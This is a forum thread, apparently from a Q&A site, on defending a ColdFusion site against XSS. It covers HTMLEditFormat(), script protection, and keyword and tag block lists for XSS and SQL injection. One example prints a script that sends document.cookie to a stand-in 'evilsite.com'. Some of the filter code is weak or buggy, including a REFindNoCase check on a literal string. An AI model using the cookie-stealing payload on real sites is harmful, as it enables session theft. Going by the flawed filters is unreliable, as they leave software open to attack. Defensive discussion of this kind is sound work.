question about HTMLEditFormat()

Here's a great Ben Nadel article on the topic..

http://www.bennadel.com/blog/2004-Escaping-Form-Values-Understanding-The-ColdFusion-htmlEditFormat-Life-Cycle.htm

The first question is, what do you want the user to be able to enter into your form?

If you can say, no HTML at all, then you just need a regular expression that strips out any invalid characters such as < > tags..

If you keep the data from getting submitted by the form, then it's easier to handle displaying it back on the page

>  the HTML is not parsed by the browser. You can see it here:

I think you don't realize it, but this IS the desired result.


 Test Page
<p>"Testing" &amp; &lt;script&gt;</p>


You have done exactly what you intended to do, you have prevented this code from being executed and harming your site.

The only problem MAY be, that you are keeping simple commands such as bold and italic from being used.  That's the question of my first post, if you don't want these, then you are all set.  If you do, you need more intelligent filtering to try and allow some HTML command and not the other tags.

Or you can do like EE does, see the icons at the top of the dialog boxes?   Then enter "fake" HTML like command such as [ bold ] and [ underline ].  Then in your code, you translate this into a real HTML bold tag..

Just depends on what you want..   some tags, no tags..

here is the one script tha can really help in you in your XSS attacks!

in Application.cfm write this function

<cfset request.XSSAttacks = "(script)|(<)|(>)|(%3c)|(%3e)|(SELECT) |(UPDATE) |(INSERT) |(DELETE)|(GRANT) |(REVOKE)|(UNION)|(&lt;)|(&gt;)">

Now in your action Pages! Do something like this!

<cfif REFindNoCase("request.XSSAttack",form.comments)>
XSS Attack Found! Stop Processing
<cfelse>
Continue
</cfif>

Where should I implement HTMLEditFormat() to add a little protection against XSS attacks?

Eric, hopefully you have done your research, XSS attacks are of 3 types,

Persistent
Non-Persistent
and DOM-Based

Let's consider a BLOG where users are allowed to post comments, in the comment I can post the below script, which sends your cookies to other website

<script type="text/javascript">
document.location='http://www.yoursite.com?' + document.cookie;
</script>

Select all Open in new window

so to stop this you can use HTMLEditFormat()

and the above code will become

<script type="text/javascript">
document.location='http://www.evilsite.com?' + document.cookie;
</script>

Select all Open in new window

and will NOT execute..


<cfoutput>#HTMLEditFormat(qBlogComments.comment)#</cfoutput>

Another method for reducing XSS vulnerability is to enable script protection. This can be done globally in the ColdFusion Administrator, or on a per-application basis in Application.cfc.

Script Protection monitors the Form, URL, CGI, and Cookie scopes looking for potentionally threatening tags. The tags it looks for are: object, embed, script, applet, and meta. If it finds any of these tags, or any that resemble them, it will replace them with and InvalidTag tag.

To enable Global Script Protection:

   1. Go to you ColdFusion Administrator
   2. Go into the Server Settings section on the left
   3. Under "settings" you will find the check box "Enable Global Script Protection". Check it
   4. Click "Submit Changes"

This turns on Script Protection for All Scopes on All Applications on the server.

If you want to control script protection at the application level, or you do not have access to the ColdFusion Administrator, you can enable it in your Application.cfc by placing this line in the pseudo-constructor area:

<cfset this.scriptprotect="all">

Select all Open in new window

This will enable script protection for only that application, but for all scopes. You can also place place a comma delimited list of scopes to protect, if for some reason you do not want to protect them all.

Script Protection, just like HTMLEditFormat(), can also be over-protective, because it will also find tags that are harmless but resemble the potentially dangerous tags.

Nice to see a good discussion  .

I personally like this

http://www.codfusion.com/blog/page.cfm/projects/portcullis

it has good functions like

filterSQL,filterwords ,badSQLContext ,escapeChars,isvalidcfvariablename,filterTags

At the starting of the cfc you can see

      <cfset variables.instance.sqlFilter = "select,insert,update,delete,create,drop,alter,declare,execute,--,xp_,sp_sqlexecute,table_cursor,cast\(,exec\(,eval\(,information_schema"/>
      <cfset variables.instance.tagFilter = "script,object,applet,embed,form,input,layer,ilayer,frame,iframe,frameset,param,meta,base,style"/>
      <cfset variables.instance.wordFilter = "onLoad,onClick,onDblClick,onKeyDown,onKeyPress,onKeyUp,onMouseDown,onMouseOut,onMouseUp,onMouseOver,onBlur,onChange,onFocus,onSelect,javascript:,vbscript:,.cookie,.toString,:expr,:expression,.fromCharCode,String."/>

so you remove or add to this lists with ones you want which will handled in that CFC

hope this help.

Eric, you are very gratious and always open and kind.  That makes you a pleasure to help.

Let me be very clear about my concern.  I agree that input from multiple people IS IMPORTANT; it is a core benefit of experts-exchange.  

I get frustrated, however, when moving down a path with an asker and someone posts things that derail the conversation; posts that do not continue down the path towards the resolution.   As you know Eric, your question threads can be very long; each post needs to build upon previous posts until we get to where we need to be.  

As an Example, Brijesh, you provided links to HTMLeditFormat(), Script Protection, stripping out all HTML from form fields.    MySelfrandhawa, suggested stripping out all html and stripping out keywords.  

IMO, none of these are applicable and only slow down the process and add confusion.  

But of course, this is my opinion, and I others may disagree.  Having multiple opinions is great for education and helps finds creative solutions.   So, given that, I suggest Brijesh and Myselfrandhawa, that if you're going to post infromation that is *against* what an expert has sugested or against what the *asker wants*, you need to either (1) say you disagree and why or (2) say that this information is NOT the solution, but may be interesting to read.

I feel like this thread is now in many different directions and will be much harder to resolve.  If you do what Myselfrandhawa suggested and combine all of the suggestions, it will not work and you will just spin your wheels.

Eric, you have a couple of simple type-o

In each of the lines, you have a ) before the equal sign and again after the variable name

<cfset form.PageTitle) = ReReplaceNoCase (form.PageTitle), "<script.*?>.*?</script>", "", "all")>
                          ^^^                                            ^^^


It should be like this...

<cfset form.PageTitle = ReReplaceNoCase (form.PageTitle, "<script.*?>.*?</script>", "", "all")>

Please check the other lines, they have the same issue..

Eric,

 Don't confuse SQL injection attacks with XSS attacks.  You have handled SQL injection in the past.  Focusing on XSS, you don't want to be overly restrictive because you want HTML to be accepted.  However, the Sid Fish article does raise a good point, you should probably block iFrames as well.   But that is first a business decision, when the user enters his own html, do you want him/her to be able to put in an iFrame, if not, add that to the cleaning script...

<cfset form.PageTitle = ReReplaceNoCase (form.PageTitle, "<script.*?>.*?</script>", "", "all")>
<cfset form.PageTitle = ReReplaceNoCase (form.PageTitle, "<iframe.*?>.*?</iframe>", "", "all")>